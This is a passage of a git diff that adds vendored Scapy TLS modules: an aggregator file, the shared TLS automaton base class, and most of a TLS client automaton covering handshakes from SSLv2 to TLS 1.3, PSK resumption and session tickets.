Is the ServerHello ciphersuite ok? What about the SKE params? Etc. + + - Add some examples which illustrate how the automatons could be used. + Typically, we could showcase this with Heartbleed. + + - Allow the server to store both one RSA key and one ECDSA key, and + select the right one to use according to the ClientHello suites. + + - Find a way to shutdown the automatons sockets properly without + simultaneously breaking the unit tests. + + + - Miscellaneous: + + - Enhance PSK and session ticket support. + + - Define several Certificate Transparency objects. + + - Add the extended master secret and encrypt-then-mac logic. + + - Mostly unused features : DSS, fixed DH, SRP, char2 curves... +""" + +from scapy.config import conf + +if not conf.crypto_valid: + import logging + log_loading = logging.getLogger("scapy.loading") + log_loading.info("Can't import python-cryptography v1.7+. " + "Disabled PKI & TLS crypto-related features.") diff --git a/libs/scapy/layers/tls/all.py b/libs/scapy/layers/tls/all.py new file mode 100755 index 0000000..87ab73f --- /dev/null +++ b/libs/scapy/layers/tls/all.py @@ -0,0 +1,24 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016, 2017 Maxence Tury +# This program is published under a GPLv2 license + +""" +Aggregate top level objects from all TLS modules. +""" + +from scapy.layers.tls.cert import * # noqa: F401 + +from scapy.layers.tls.automaton_cli import * # noqa: F401 +from scapy.layers.tls.automaton_srv import * # noqa: F401 +from scapy.layers.tls.extensions import * # noqa: F401 +from scapy.layers.tls.handshake import * # noqa: F401 +from scapy.layers.tls.handshake_sslv2 import * # noqa: F401 +from scapy.layers.tls.keyexchange import * # noqa: F401 +from scapy.layers.tls.keyexchange_tls13 import * # noqa: F401 +from scapy.layers.tls.record import * # noqa: F401 +from scapy.layers.tls.record_sslv2 import * # noqa: F401 +from scapy.layers.tls.record_tls13 import * # noqa: F401 +from scapy.layers.tls.session import * # noqa: F401 + +from scapy.layers.tls.crypto.all import * # noqa: F401 diff --git a/libs/scapy/layers/tls/automaton.py b/libs/scapy/layers/tls/automaton.py new file mode 100755 index 0000000..b90700b --- /dev/null +++ b/libs/scapy/layers/tls/automaton.py @@ -0,0 +1,255 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016, 2017 Maxence Tury +# This program is published under a GPLv2 license + +""" +The _TLSAutomaton class provides methods common to both TLS client and server. +""" + +import struct + +from scapy.automaton import Automaton +from scapy.config import conf +from scapy.error import log_interactive +from scapy.packet import Raw +from scapy.layers.tls.basefields import _tls_type +from scapy.layers.tls.cert import Cert, PrivKey +from scapy.layers.tls.record import TLS +from scapy.layers.tls.record_sslv2 import SSLv2 +from scapy.layers.tls.record_tls13 import TLS13 + + +class _TLSAutomaton(Automaton): + """ + SSLv3 and TLS 1.0-1.2 typically need a 2-RTT handshake: + + Client Server + | --------->>> | C1 - ClientHello + | <<<--------- | S1 - ServerHello + | <<<--------- | S1 - Certificate + | <<<--------- | S1 - ServerKeyExchange + | <<<--------- | S1 - ServerHelloDone + | --------->>> | C2 - ClientKeyExchange + | --------->>> | C2 - ChangeCipherSpec + | --------->>> | C2 - Finished [encrypted] + | <<<--------- | S2 - ChangeCipherSpec + | <<<--------- | S2 - Finished [encrypted] + + We call these successive groups of messages: + ClientFlight1, ServerFlight1, ClientFlight2 and ServerFlight2. + + With TLS 1.3, the handshake require only 1-RTT: + + Client Server + | --------->>> | C1 - ClientHello + | <<<--------- | S1 - ServerHello + | <<<--------- | S1 - Certificate [encrypted] + | <<<--------- | S1 - CertificateVerify [encrypted] + | <<<--------- | S1 - Finished [encrypted] + | --------->>> | C2 - Finished [encrypted] + + We want to send our messages from the same flight all at once through the + socket. This is achieved by managing a list of records in 'buffer_out'. + We may put several messages (i.e. what RFC 5246 calls the record fragments) + in the same record when possible, but we may need several records for the + same flight, as with ClientFlight2. + + However, note that the flights from the opposite side may be spread wildly + across TLS records and TCP packets. This is why we use a 'get_next_msg' + method for feeding a list of received messages, 'buffer_in'. Raw data + which has not yet been interpreted as a TLS record is kept in 'remain_in'. + """ + + def parse_args(self, mycert=None, mykey=None, **kargs): + + super(_TLSAutomaton, self).parse_args(**kargs) + + self.socket = None + self.remain_in = b"" + self.buffer_in = [] # these are 'fragments' inside records + self.buffer_out = [] # these are records + + self.cur_session = None + self.cur_pkt = None # this is usually the latest parsed packet + + if mycert: + self.mycert = Cert(mycert) + else: + self.mycert = None + + if mykey: + self.mykey = PrivKey(mykey) + else: + self.mykey = None + + self.verbose = kargs.get("verbose", True) + + def get_next_msg(self, socket_timeout=2, retry=2): + """ + The purpose of the function is to make next message(s) available in + self.buffer_in. If the list is not empty, nothing is done. If not, in + order to fill it, the function uses the data already available in + self.remain_in from a previous call and waits till there are enough to + dissect a TLS packet. Once dissected, the content of the TLS packet + (carried messages, or 'fragments') is appended to self.buffer_in. + + We have to grab enough data to dissect a TLS packet. We start by + reading the first 2 bytes. Unless we get anything different from + \\x14\\x03, \\x15\\x03, \\x16\\x03 or \\x17\\x03 (which might indicate + an SSLv2 record, whose first 2 bytes encode the length), we retrieve + 3 more bytes in order to get the length of the TLS record, and + finally we can retrieve the remaining of the record. + """ + if self.buffer_in: + # A message is already available. + return + + self.socket.settimeout(socket_timeout) + is_sslv2_msg = False + still_getting_len = True + grablen = 2 + while retry and (still_getting_len or len(self.remain_in) < grablen): + if not is_sslv2_msg and grablen == 5 and len(self.remain_in) >= 5: + grablen = struct.unpack('!H', self.remain_in[3:5])[0] + 5 + still_getting_len = False + elif grablen == 2 and len(self.remain_in) >= 2: + byte0, byte1 = struct.unpack("BB", self.remain_in[:2]) + if (byte0 in _tls_type) and (byte1 == 3): + # Retry following TLS scheme. This will cause failure + # for SSLv2 packets with length 0x1{4-7}03. + grablen = 5 + else: + # Extract the SSLv2 length. + is_sslv2_msg = True + still_getting_len = False + if byte0 & 0x80: + grablen = 2 + 0 + ((byte0 & 0x7f) << 8) + byte1 + else: + grablen = 2 + 1 + ((byte0 & 0x3f) << 8) + byte1 + elif not is_sslv2_msg and grablen == 5 and len(self.remain_in) >= 5: # noqa: E501 + grablen = struct.unpack('!H', self.remain_in[3:5])[0] + 5 + + if grablen == len(self.remain_in): + break + + try: + tmp = self.socket.recv(grablen - len(self.remain_in)) + if not tmp: + retry -= 1 + else: + self.remain_in += tmp + except Exception: + self.vprint("Could not join host ! Retrying...") + retry -= 1 + + if len(self.remain_in) < 2 or len(self.remain_in) != grablen: + # Remote peer is not willing to respond + return + + if (byte0 == 0x17 and + (self.cur_session.advertised_tls_version >= 0x0304 or + self.cur_session.tls_version >= 0x0304)): + p = TLS13(self.remain_in, tls_session=self.cur_session) + self.remain_in = b"" + self.buffer_in += p.inner.msg + else: + p = TLS(self.remain_in, tls_session=self.cur_session) + self.cur_session = p.tls_session + self.remain_in = b"" + if isinstance(p, SSLv2) and not p.msg: + p.msg = Raw("") + if self.cur_session.tls_version is None or \ + self.cur_session.tls_version < 0x0304: + self.buffer_in += p.msg + else: + if isinstance(p, TLS13): + self.buffer_in += p.inner.msg + else: + # should be TLS13ServerHello only + self.buffer_in += p.msg + + while p.payload: + if isinstance(p.payload, Raw): + self.remain_in += p.payload.load + p = p.payload + elif isinstance(p.payload, TLS): + p = p.payload + if self.cur_session.tls_version is None or \ + self.cur_session.tls_version < 0x0304: + self.buffer_in += p.msg + else: + self.buffer_in += p.inner.msg + else: + p = p.payload + + def raise_on_packet(self, pkt_cls, state, get_next_msg=True): + """ + If the next message to be processed has type 'pkt_cls', raise 'state'. + If there is no message waiting to be processed, we try to get one with + the default 'get_next_msg' parameters. + """ + # Maybe we already parsed the expected packet, maybe not. + if get_next_msg: + self.get_next_msg() + from scapy.layers.tls.handshake import TLSClientHello + if (not self.buffer_in or + (not isinstance(self.buffer_in[0], pkt_cls) and + not (isinstance(self.buffer_in[0], TLSClientHello) and + self.cur_session.advertised_tls_version == 0x0304))): + return + self.cur_pkt = self.buffer_in[0] + self.buffer_in = self.buffer_in[1:] + raise state() + + def add_record(self, is_sslv2=None, is_tls13=None, is_tls12=None): + """ + Add a new TLS or SSLv2 or TLS 1.3 record to the packets buffered out. + """ + if is_sslv2 is None and is_tls13 is None and is_tls12 is None: + v = (self.cur_session.tls_version or + self.cur_session.advertised_tls_version) + if v in [0x0200, 0x0002]: + is_sslv2 = True + elif v >= 0x0304: + is_tls13 = True + if is_sslv2: + self.buffer_out.append(SSLv2(tls_session=self.cur_session)) + elif is_tls13: + self.buffer_out.append(TLS13(tls_session=self.cur_session)) + # For TLS 1.3 middlebox compatibility, TLS record version must + # be 0x0303 + elif is_tls12: + self.buffer_out.append(TLS(version="TLS 1.2", + tls_session=self.cur_session)) + else: + self.buffer_out.append(TLS(tls_session=self.cur_session)) + + def add_msg(self, pkt): + """ + Add a TLS message (e.g. TLSClientHello or TLSApplicationData) + inside the latest record to be sent through the socket. + We believe a good automaton should not use the first test. + """ + if not self.buffer_out: + self.add_record() + r = self.buffer_out[-1] + if isinstance(r, TLS13): + self.buffer_out[-1].inner.msg.append(pkt) + else: + self.buffer_out[-1].msg.append(pkt) + + def flush_records(self): + """ + Send all buffered records and update the session accordingly. + """ + s = b"".join(p.raw_stateful() for p in self.buffer_out) + self.socket.send(s) + self.buffer_out = [] + + def vprint(self, s=""): + if self.verbose: + if conf.interactive: + log_interactive.info("> %s", s) + else: + print("> %s" % s) diff --git a/libs/scapy/layers/tls/automaton_cli.py b/libs/scapy/layers/tls/automaton_cli.py new file mode 100755 index 0000000..5965b6b --- /dev/null +++ b/libs/scapy/layers/tls/automaton_cli.py @@ -0,0 +1,1367 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016, 2017 Maxence Tury +# 2019 Romain Perez +# This program is published under a GPLv2 license + +""" +TLS client automaton. This makes for a primitive TLS stack. +Obviously you need rights for network access. + +We support versions SSLv2 to TLS 1.3, along with many features. + +In order to run a client to tcp/50000 with one cipher suite of your choice: +> from scapy.all import * +> ch = TLSClientHello(ciphers=) +> t = TLSClientAutomaton(dport=50000, client_hello=ch) +> t.run() +""" + +from __future__ import print_function +import socket +import binascii +import struct +import time + +from scapy.config import conf +from scapy.pton_ntop import inet_pton +from scapy.utils import randstring, repr_hex +from scapy.automaton import ATMT +from scapy.error import warning +from scapy.layers.tls.automaton import _TLSAutomaton +from scapy.layers.tls.basefields import _tls_version, _tls_version_options +from scapy.layers.tls.session import tlsSession +from scapy.layers.tls.extensions import TLS_Ext_SupportedGroups, \ + TLS_Ext_SupportedVersion_CH, TLS_Ext_SignatureAlgorithms, \ + TLS_Ext_SupportedVersion_SH, TLS_Ext_PSKKeyExchangeModes, \ + TLS_Ext_ServerName, ServerName +from scapy.layers.tls.handshake import TLSCertificate, TLSCertificateRequest, \ + TLSCertificateVerify, TLSClientHello, TLSClientKeyExchange, \ + TLSEncryptedExtensions, TLSFinished, TLSServerHello, TLSServerHelloDone, \ + TLSServerKeyExchange, TLS13Certificate, TLS13ClientHello, \ + TLS13ServerHello, TLS13HelloRetryRequest, TLS13CertificateRequest, \ + _ASN1CertAndExt, TLS13KeyUpdate, TLS13NewSessionTicket +from scapy.layers.tls.handshake_sslv2 import SSLv2ClientHello, \ + SSLv2ServerHello, SSLv2ClientMasterKey, SSLv2ServerVerify, \ + SSLv2ClientFinished, SSLv2ServerFinished, SSLv2ClientCertificate, \ + SSLv2RequestCertificate +from scapy.layers.tls.keyexchange_tls13 import TLS_Ext_KeyShare_CH, \ + KeyShareEntry, TLS_Ext_KeyShare_HRR, PSKIdentity, PSKBinderEntry, \ + TLS_Ext_PreSharedKey_CH +from scapy.layers.tls.record import TLSAlert, TLSChangeCipherSpec, \ + TLSApplicationData +from scapy.layers.tls.crypto.suites import _tls_cipher_suites, \ + _tls_cipher_suites_cls +from scapy.layers.tls.crypto.groups import _tls_named_groups +from scapy.layers.tls.crypto.hkdf import TLS13_HKDF +from scapy.modules import six +from scapy.packet import Raw +from scapy.compat import bytes_encode + + +class TLSClientAutomaton(_TLSAutomaton): + """ + A simple TLS test client automaton. Try to overload some states or + conditions and see what happens on the other side. + + Rather than with an interruption, the best way to stop this client is by + typing 'quit'. This won't be a message sent to the server. + + _'mycert' and 'mykey' may be provided as filenames. They will be used in + the handshake, should the server ask for client authentication. + _'server_name' is the SNI. It does not need to be set. + _'client_hello' may hold a TLSClientHello or SSLv2ClientHello to be sent + to the server. This is particularly useful for extensions tweaking. + _'version' is a quicker way to advertise a protocol version ("sslv2", + "tls1", "tls12", etc.) It may be overridden by the previous 'client_hello'. + _'data' is a list of raw data to be sent to the server once the handshake + has been completed. Both 'stop_server' and 'quit' will work this way. + """ + + def parse_args(self, server="127.0.0.1", dport=4433, server_name=None, + mycert=None, mykey=None, + client_hello=None, version=None, + resumption_master_secret=None, + session_ticket_file_in=None, + session_ticket_file_out=None, + psk=None, psk_mode=None, + data=None, + ciphersuite=None, + curve=None, + **kargs): + + super(TLSClientAutomaton, self).parse_args(mycert=mycert, + mykey=mykey, + **kargs) + tmp = socket.getaddrinfo(server, dport) + try: + if ':' in server: + inet_pton(socket.AF_INET6, server) + else: + inet_pton(socket.AF_INET, server) + except Exception: + remote_name = socket.getfqdn(server) + if remote_name != server: + tmp = socket.getaddrinfo(remote_name, dport) + + self.remote_name = server_name + self.remote_family = tmp[0][0] + self.remote_ip = tmp[0][4][0] + self.remote_port = dport + self.local_ip = None + self.local_port = None + self.socket = None + + if (isinstance(client_hello, TLSClientHello) or + isinstance(client_hello, TLS13ClientHello)): + self.client_hello = client_hello + else: + self.client_hello = None + self.advertised_tls_version = None + if version: + v = _tls_version_options.get(version, None) + if not v: + self.vprint("Unrecognized TLS version option.") + else: + self.advertised_tls_version = v + + self.linebreak = False + if isinstance(data, bytes): + self.data_to_send = [data] + elif isinstance(data, six.string_types): + self.data_to_send = [bytes_encode(data)] + elif isinstance(data, list): + self.data_to_send = list(bytes_encode(d) for d in reversed(data)) + else: + self.data_to_send = [] + self.curve = None + + if self.advertised_tls_version == 0x0304: + self.ciphersuite = 0x1301 + if ciphersuite is not None: + cs = int(ciphersuite, 16) + if cs in _tls_cipher_suites.keys(): + self.ciphersuite = cs + if conf.crypto_valid_advanced: + # Default to x25519 if supported + self.curve = 29 + else: + # Or secp256r1 otherwise + self.curve = 23 + self.resumption_master_secret = resumption_master_secret + self.session_ticket_file_in = session_ticket_file_in + self.session_ticket_file_out = session_ticket_file_out + self.tls13_psk_secret = psk + self.tls13_psk_mode = psk_mode + if curve is not None: + for (group_id, ng) in _tls_named_groups.items(): + if ng == curve: + if curve == "x25519": + if conf.crypto_valid_advanced: + self.curve = group_id + else: + self.curve = group_id + + def vprint_sessioninfo(self): + if self.verbose: + s = self.cur_session + v = _tls_version[s.tls_version] + self.vprint("Version : %s" % v) + cs = s.wcs.ciphersuite.name + self.vprint("Cipher suite : %s" % cs) + if s.tls_version >= 0x0304: + ms = s.tls13_master_secret + else: + ms = s.master_secret + self.vprint("Master secret : %s" % repr_hex(ms)) + if s.server_certs: + self.vprint("Server certificate chain: %r" % s.server_certs) + if s.tls_version >= 0x0304: + res_secret = s.tls13_derived_secrets["resumption_secret"] + self.vprint("Resumption master secret : %s" % + repr_hex(res_secret)) + self.vprint() + + @ATMT.state(initial=True) + def INITIAL(self): + self.vprint("Starting TLS client automaton.") + raise self.INIT_TLS_SESSION() + + @ATMT.state() + def INIT_TLS_SESSION(self): + self.cur_session = tlsSession(connection_end="client") + s = self.cur_session + s.client_certs = self.mycert + s.client_key = self.mykey + v = self.advertised_tls_version + if v: + s.advertised_tls_version = v + else: + default_version = s.advertised_tls_version + self.advertised_tls_version = default_version + + if s.advertised_tls_version >= 0x0304: + # For out of band PSK, the PSK is given as an argument + # to the automaton + if self.tls13_psk_secret: + s.tls13_psk_secret = binascii.unhexlify(self.tls13_psk_secret) + + # For resumed PSK, the PSK is computed from + if self.session_ticket_file_in: + with open(self.session_ticket_file_in, 'rb') as f: + + resumed_ciphersuite_len = struct.unpack("B", f.read(1))[0] + s.tls13_ticket_ciphersuite = \ + struct.unpack("!H", f.read(resumed_ciphersuite_len))[0] + + ticket_nonce_len = struct.unpack("B", f.read(1))[0] + # XXX add client_session_nonce member in tlsSession + s.client_session_nonce = f.read(ticket_nonce_len) + + client_ticket_age_len = struct.unpack("!H", f.read(2))[0] + tmp = f.read(client_ticket_age_len) + s.client_ticket_age = struct.unpack("!I", tmp)[0] + + client_ticket_age_add_len = struct.unpack( + "!H", f.read(2))[0] + tmp = f.read(client_ticket_age_add_len) + s.client_session_ticket_age_add = struct.unpack( + "!I", tmp)[0] + + ticket_len = struct.unpack("!H", f.read(2))[0] + s.client_session_ticket = f.read(ticket_len) + + if self.resumption_master_secret: + + if s.tls13_ticket_ciphersuite not in _tls_cipher_suites_cls: # noqa: E501 + warning("Unknown cipher suite %d" % s.tls13_ticket_ciphersuite) # noqa: E501 + # we do not try to set a default nor stop the execution + else: + cs_cls = _tls_cipher_suites_cls[s.tls13_ticket_ciphersuite] # noqa: E501 + + hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower()) + hash_len = hkdf.hash.digest_size + + s.tls13_psk_secret = hkdf.expand_label(binascii.unhexlify(self.resumption_master_secret), # noqa: E501 + b"resumption", + s.client_session_nonce, # noqa: E501 + hash_len) + raise self.CONNECT() + + @ATMT.state() + def CONNECT(self): + s = socket.socket(self.remote_family, socket.SOCK_STREAM) + self.vprint() + self.vprint("Trying to connect on %s:%d" % (self.remote_ip, + self.remote_port)) + s.connect((self.remote_ip, self.remote_port)) + self.socket = s + self.local_ip, self.local_port = self.socket.getsockname()[:2] + self.vprint() + if self.cur_session.advertised_tls_version in [0x0200, 0x0002]: + raise self.SSLv2_PREPARE_CLIENTHELLO() + elif self.cur_session.advertised_tls_version >= 0x0304: + raise self.TLS13_START() + else: + raise self.PREPARE_CLIENTFLIGHT1() + + # TLS handshake # + + @ATMT.state() + def PREPARE_CLIENTFLIGHT1(self): + self.add_record() + + @ATMT.condition(PREPARE_CLIENTFLIGHT1) + def should_add_ClientHello(self): + if self.client_hello: + p = self.client_hello + else: + p = TLSClientHello() + ext = [] + # Add TLS_Ext_SignatureAlgorithms for TLS 1.2 ClientHello + if self.cur_session.advertised_tls_version == 0x0303: + ext += [TLS_Ext_SignatureAlgorithms(sig_algs=["sha256+rsa"])] + # Add TLS_Ext_ServerName + if self.remote_name: + ext += TLS_Ext_ServerName( + servernames=[ServerName(servername=self.remote_name)] + ) + p.ext = ext + self.add_msg(p) + raise self.ADDED_CLIENTHELLO() + + @ATMT.state() + def ADDED_CLIENTHELLO(self): + pass + + @ATMT.condition(ADDED_CLIENTHELLO) + def should_send_ClientFlight1(self): + self.flush_records() + raise self.SENT_CLIENTFLIGHT1() + + @ATMT.state() + def SENT_CLIENTFLIGHT1(self): + raise self.WAITING_SERVERFLIGHT1() + + @ATMT.state() + def WAITING_SERVERFLIGHT1(self): + self.get_next_msg() + raise self.RECEIVED_SERVERFLIGHT1() + + @ATMT.state() + def RECEIVED_SERVERFLIGHT1(self): + pass + + @ATMT.condition(RECEIVED_SERVERFLIGHT1, prio=1) + def should_handle_ServerHello(self): + """ + XXX We should check the ServerHello attributes for discrepancies with + our own ClientHello. + """ + self.raise_on_packet(TLSServerHello, + self.HANDLED_SERVERHELLO) + + @ATMT.state() + def HANDLED_SERVERHELLO(self): + pass + + @ATMT.condition(RECEIVED_SERVERFLIGHT1, prio=2) + def missing_ServerHello(self): + raise self.MISSING_SERVERHELLO() + + @ATMT.state() + def MISSING_SERVERHELLO(self): + self.vprint("Missing TLS ServerHello message!") + raise self.CLOSE_NOTIFY() + + @ATMT.condition(HANDLED_SERVERHELLO, prio=1) + def should_handle_ServerCertificate(self): + if not self.cur_session.prcs.key_exchange.anonymous: + self.raise_on_packet(TLSCertificate, + self.HANDLED_SERVERCERTIFICATE) + raise self.HANDLED_SERVERCERTIFICATE() + + @ATMT.state() + def HANDLED_SERVERCERTIFICATE(self): + pass + + @ATMT.condition(HANDLED_SERVERHELLO, prio=2) + def missing_ServerCertificate(self): + raise self.MISSING_SERVERCERTIFICATE() + + @ATMT.state() + def MISSING_SERVERCERTIFICATE(self): + self.vprint("Missing TLS Certificate message!") + raise self.CLOSE_NOTIFY() + + @ATMT.state() + def HANDLED_CERTIFICATEREQUEST(self): + self.vprint("Server asked for a certificate...") + if not self.mykey or not self.mycert: + self.vprint("No client certificate to send!") + self.vprint("Will try and send an empty Certificate message...") + + @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=1) + def should_handle_ServerKeyExchange_from_ServerCertificate(self): + """ + XXX We should check the ServerKeyExchange attributes for discrepancies + with our own ClientHello, along with the ServerHello and Certificate. + """ + self.raise_on_packet(TLSServerKeyExchange, + self.HANDLED_SERVERKEYEXCHANGE) + + @ATMT.state(final=True) + def MISSING_SERVERKEYEXCHANGE(self): + pass + + @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=2) + def missing_ServerKeyExchange(self): + if not self.cur_session.prcs.key_exchange.no_ske: + raise self.MISSING_SERVERKEYEXCHANGE() + + @ATMT.state() + def HANDLED_SERVERKEYEXCHANGE(self): + pass + + def should_handle_CertificateRequest(self): + """ + XXX We should check the CertificateRequest attributes for discrepancies + with the cipher suite, etc. + """ + self.raise_on_packet(TLSCertificateRequest, + self.HANDLED_CERTIFICATEREQUEST) + + @ATMT.condition(HANDLED_SERVERKEYEXCHANGE, prio=2) + def should_handle_CertificateRequest_from_ServerKeyExchange(self): + self.should_handle_CertificateRequest() + + @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=3) + def should_handle_CertificateRequest_from_ServerCertificate(self): + self.should_handle_CertificateRequest() + + def should_handle_ServerHelloDone(self): + self.raise_on_packet(TLSServerHelloDone, + self.HANDLED_SERVERHELLODONE) + + @ATMT.condition(HANDLED_SERVERKEYEXCHANGE, prio=1) + def should_handle_ServerHelloDone_from_ServerKeyExchange(self): + return self.should_handle_ServerHelloDone() + + @ATMT.condition(HANDLED_CERTIFICATEREQUEST, prio=4) + def should_handle_ServerHelloDone_from_CertificateRequest(self): + return self.should_handle_ServerHelloDone() + + @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=4) + def should_handle_ServerHelloDone_from_ServerCertificate(self): + return self.should_handle_ServerHelloDone() + + @ATMT.state() + def HANDLED_SERVERHELLODONE(self): + raise self.PREPARE_CLIENTFLIGHT2() + + @ATMT.state() + def PREPARE_CLIENTFLIGHT2(self): + self.add_record() + + @ATMT.condition(PREPARE_CLIENTFLIGHT2, prio=1) + def should_add_ClientCertificate(self): + """ + If the server sent a CertificateRequest, we send a Certificate message. + If no certificate is available, an empty Certificate message is sent: + - this is a SHOULD in RFC 4346 (Section 7.4.6) + - this is a MUST in RFC 5246 (Section 7.4.6) + + XXX We may want to add a complete chain. + """ + hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] + if TLSCertificateRequest not in hs_msg: + return + certs = [] + if self.mycert: + certs = [self.mycert] + self.add_msg(TLSCertificate(certs=certs)) + raise self.ADDED_CLIENTCERTIFICATE() + + @ATMT.state() + def ADDED_CLIENTCERTIFICATE(self): + pass + + def should_add_ClientKeyExchange(self): + self.add_msg(TLSClientKeyExchange()) + raise self.ADDED_CLIENTKEYEXCHANGE() + + @ATMT.condition(PREPARE_CLIENTFLIGHT2, prio=2) + def should_add_ClientKeyExchange_from_ClientFlight2(self): + return self.should_add_ClientKeyExchange() + + @ATMT.condition(ADDED_CLIENTCERTIFICATE) + def should_add_ClientKeyExchange_from_ClientCertificate(self): + return self.should_add_ClientKeyExchange() + + @ATMT.state() + def ADDED_CLIENTKEYEXCHANGE(self): + pass + + @ATMT.condition(ADDED_CLIENTKEYEXCHANGE, prio=1) + def should_add_ClientVerify(self): + """ + XXX Section 7.4.7.1 of RFC 5246 states that the CertificateVerify + message is only sent following a client certificate that has signing + capability (i.e. not those containing fixed DH params). + We should verify that before adding the message. We should also handle + the case when the Certificate message was empty. + """ + hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] + if (TLSCertificateRequest not in hs_msg or + self.mycert is None or + self.mykey is None): + return + self.add_msg(TLSCertificateVerify()) + raise self.ADDED_CERTIFICATEVERIFY() + + @ATMT.state() + def ADDED_CERTIFICATEVERIFY(self): + pass + + @ATMT.condition(ADDED_CERTIFICATEVERIFY) + def should_add_ChangeCipherSpec_from_CertificateVerify(self): + self.add_record() + self.add_msg(TLSChangeCipherSpec()) + raise self.ADDED_CHANGECIPHERSPEC() + + @ATMT.condition(ADDED_CLIENTKEYEXCHANGE, prio=2) + def should_add_ChangeCipherSpec_from_ClientKeyExchange(self): + self.add_record() + self.add_msg(TLSChangeCipherSpec()) + raise self.ADDED_CHANGECIPHERSPEC() + + @ATMT.state() + def ADDED_CHANGECIPHERSPEC(self): + pass + + @ATMT.condition(ADDED_CHANGECIPHERSPEC) + def should_add_ClientFinished(self): + self.add_record() + self.add_msg(TLSFinished()) + raise self.ADDED_CLIENTFINISHED() + + @ATMT.state() + def ADDED_CLIENTFINISHED(self): + pass + + @ATMT.condition(ADDED_CLIENTFINISHED) + def should_send_ClientFlight2(self): + self.flush_records() + raise self.SENT_CLIENTFLIGHT2() + + @ATMT.state() + def SENT_CLIENTFLIGHT2(self): + raise self.WAITING_SERVERFLIGHT2() + + @ATMT.state() + def WAITING_SERVERFLIGHT2(self): + self.get_next_msg() + raise self.RECEIVED_SERVERFLIGHT2() + + @ATMT.state() + def RECEIVED_SERVERFLIGHT2(self): + pass + + @ATMT.condition(RECEIVED_SERVERFLIGHT2) + def should_handle_ChangeCipherSpec(self): + self.raise_on_packet(TLSChangeCipherSpec, + self.HANDLED_CHANGECIPHERSPEC) + + @ATMT.state() + def HANDLED_CHANGECIPHERSPEC(self): + pass + + @ATMT.condition(HANDLED_CHANGECIPHERSPEC) + def should_handle_Finished(self): + self.raise_on_packet(TLSFinished, + self.HANDLED_SERVERFINISHED) + + @ATMT.state() + def HANDLED_SERVERFINISHED(self): + self.vprint("TLS handshake completed!") + self.vprint_sessioninfo() + self.vprint("You may send data or use 'quit'.") + + # end of TLS handshake # + + @ATMT.condition(HANDLED_SERVERFINISHED) + def should_wait_ClientData(self): + raise self.WAIT_CLIENTDATA() + + @ATMT.state() + def WAIT_CLIENTDATA(self): + pass + + @ATMT.condition(WAIT_CLIENTDATA, prio=1) + def add_ClientData(self): + r""" + The user may type in: + GET / HTTP/1.1\r\nHost: testserver.com\r\n\r\n + Special characters are handled so that it becomes a valid HTTP request. + """ + if not self.data_to_send: + data = six.moves.input().replace('\\r', '\r').replace('\\n', '\n').encode() # noqa: E501 + else: + data = self.data_to_send.pop() + if data == b"quit": + return + # Command to skip sending + elif data == b"wait": + raise self.WAITING_SERVERDATA() + # Command to perform a key_update (for a TLS 1.3 session) + elif data == b"key_update": + if self.cur_session.tls_version >= 0x0304: + self.add_record() + self.add_msg(TLS13KeyUpdate(request_update="update_requested")) + raise self.ADDED_CLIENTDATA() + + if self.linebreak: + data += b"\n" + self.add_record() + self.add_msg(TLSApplicationData(data=data)) + raise self.ADDED_CLIENTDATA() + + @ATMT.condition(WAIT_CLIENTDATA, prio=2) + def no_more_ClientData(self): + raise self.CLOSE_NOTIFY() + + @ATMT.state() + def ADDED_CLIENTDATA(self): + pass + + @ATMT.condition(ADDED_CLIENTDATA) + def should_send_ClientData(self): + self.flush_records() + raise self.SENT_CLIENTDATA() + + @ATMT.state() + def SENT_CLIENTDATA(self): + raise self.WAITING_SERVERDATA() + + @ATMT.state() + def WAITING_SERVERDATA(self): + self.get_next_msg(0.3, 1) + raise self.RECEIVED_SERVERDATA() + + @ATMT.state() + def RECEIVED_SERVERDATA(self): + pass + + @ATMT.condition(RECEIVED_SERVERDATA, prio=1) + def should_handle_ServerData(self): + if not self.buffer_in: + raise self.WAIT_CLIENTDATA() + p = self.buffer_in[0] + if isinstance(p, TLSApplicationData): + print("> Received: %r" % p.data) + elif isinstance(p, TLSAlert): + print("> Received: %r" % p) + raise self.CLOSE_NOTIFY() + elif isinstance(p, TLS13NewSessionTicket): + print("> Received: %r " % p) + # If arg session_ticket_file_out is set, we save + # the ticket for resumption... + if self.session_ticket_file_out: + # Struct of ticket file : + # * ciphersuite_len (1 byte) + # * ciphersuite (ciphersuite_len bytes) : + # we need to the store the ciphersuite for resumption + # * ticket_nonce_len (1 byte) + # * ticket_nonce (ticket_nonce_len bytes) : + # we need to store the nonce to compute the PSK + # for resumption + # * ticket_age_len (2 bytes) + # * ticket_age (ticket_age_len bytes) : + # we need to store the time we received the ticket for + # computing the obfuscated_ticket_age when resuming + # * ticket_age_add_len (2 bytes) + # * ticket_age_add (ticket_age_add_len bytes) : + # we need to store the ticket_age_add value from the + # ticket to compute the obfuscated ticket age + # * ticket_len (2 bytes) + # * ticket (ticket_len bytes) + with open(self.session_ticket_file_out, 'wb') as f: + f.write(struct.pack("B", 2)) + # we choose wcs arbitrarily... + f.write(struct.pack("!H", + self.cur_session.wcs.ciphersuite.val)) + f.write(struct.pack("B", p.noncelen)) + f.write(p.ticket_nonce) + f.write(struct.pack("!H", 4)) + f.write(struct.pack("!I", int(time.time()))) + f.write(struct.pack("!H", 4)) + f.write(struct.pack("!I", p.ticket_age_add)) + f.write(struct.pack("!H", p.ticketlen)) + f.write(self.cur_session.client_session_ticket) + else: + print("> Received: %r" % p) + self.buffer_in = self.buffer_in[1:] + raise self.HANDLED_SERVERDATA() + + @ATMT.state() + def HANDLED_SERVERDATA(self): + raise self.WAIT_CLIENTDATA() + + @ATMT.state() + def CLOSE_NOTIFY(self): + self.vprint() + self.vprint("Trying to send a TLSAlert to the server...") + + @ATMT.condition(CLOSE_NOTIFY) + def close_session(self): + self.add_record() + self.add_msg(TLSAlert(level=1, descr=0)) + try: + self.flush_records() + except Exception: + self.vprint("Could not send termination Alert, maybe the server stopped?") # noqa: E501 + raise 